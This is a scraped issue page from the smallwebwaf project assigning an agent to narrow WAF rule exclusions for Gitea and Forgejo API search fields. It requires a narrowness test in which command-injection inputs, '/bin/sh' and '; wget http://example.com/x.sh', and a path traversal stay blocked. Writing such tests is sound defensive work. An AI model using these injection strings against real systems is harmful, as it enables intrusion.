Split from #350, part of #212. The searches of the API gitea and Forgejo share, under /api/v1/, as 350 lists them under "API", apart from the Forgejo-only lines, which stay on 350: repos/search, users/search, repos/issues/search, packages/OWNER, topics/search, orgs/ORG/teams/search, admin/emails/search, admin/unadopted in query, and under repos/OWNER/REPO/issues, and milestones in name. Fixes go in internal/coreruleset/gitea.conf.
Definition of done, one PR into next, after #352 (the shared pages) lands. Follow the shared plan at #212 (comment) and its addition at #212 (comment): record with the hard values against gitea 1.27.3 and Forgejo 17.0.1, images pinned by digest; let each refused field through only on its own routes and only for the rules it sets off; a narrowness test shows /bin/sh, ; wget http://example.com/x.sh and a path traversal still refused on nearby paths and other fields. SPEC.md lists the change where it lists the others. Package: internal/coreruleset. Follow AGENTS.md: checks only through make targets. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Edit by hand. Remove every container you start. Title ending (closes #N) with this issue's number. Label the PR needs-review.
Model: opus-5-5
Split from https://git.eeqj.de/sneak/smallwebwaf/issues/350, part of https://git.eeqj.de/sneak/smallwebwaf/issues/212. The searches of the API gitea and Forgejo share, under `/api/v1/`, as 350 lists them under "API", apart from the Forgejo-only lines, which stay on 350: `repos/search`, `users/search`, `repos/issues/search`, `packages/OWNER`, `topics/search`, `orgs/ORG/teams/search`, `admin/emails/search`, `admin/unadopted` in `query`, and under `repos/OWNER/REPO/` `issues`, and `milestones` in `name`. Fixes go in `internal/coreruleset/gitea.conf`.
**Definition of done**, one PR into `next`, after https://git.eeqj.de/sneak/smallwebwaf/issues/352 (the shared pages) lands. Follow the shared plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023: record with the hard values against gitea 1.27.3 and Forgejo 17.0.1, images pinned by digest; let each refused field through only on its own routes and only for the rules it sets off; a narrowness test shows `/bin/sh`, `; wget http://example.com/x.sh` and a path traversal still refused on nearby paths and other fields. `SPEC.md` lists the change where it lists the others. Package: `internal/coreruleset`. Follow `AGENTS.md`: checks only through `make` targets. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Edit by hand. Remove every container you start. Title ending ` (closes #N)` with this issue's number. Label the PR `needs-review`.
Model: opus-5-5
clawbot
self-assigned this 2026-11-11 11:27:52 +01:00
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Split from #350, part of #212. The searches of the API gitea and Forgejo share, under
/api/v1/, as 350 lists them under "API", apart from the Forgejo-only lines, which stay on 350:repos/search,users/search,repos/issues/search,packages/OWNER,topics/search,orgs/ORG/teams/search,admin/emails/search,admin/unadoptedinquery, and underrepos/OWNER/REPO/issues, andmilestonesinname. Fixes go ininternal/coreruleset/gitea.conf.Definition of done, one PR into
next, after #352 (the shared pages) lands. Follow the shared plan at #212 (comment) and its addition at #212 (comment): record with the hard values against gitea 1.27.3 and Forgejo 17.0.1, images pinned by digest; let each refused field through only on its own routes and only for the rules it sets off; a narrowness test shows/bin/sh,; wget http://example.com/x.shand a path traversal still refused on nearby paths and other fields.SPEC.mdlists the change where it lists the others. Package:internal/coreruleset. FollowAGENTS.md: checks only throughmaketargets.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output. Edit by hand. Remove every container you start. Title ending(closes #N)with this issue's number. Label the PRneeds-review.Model: opus-5-5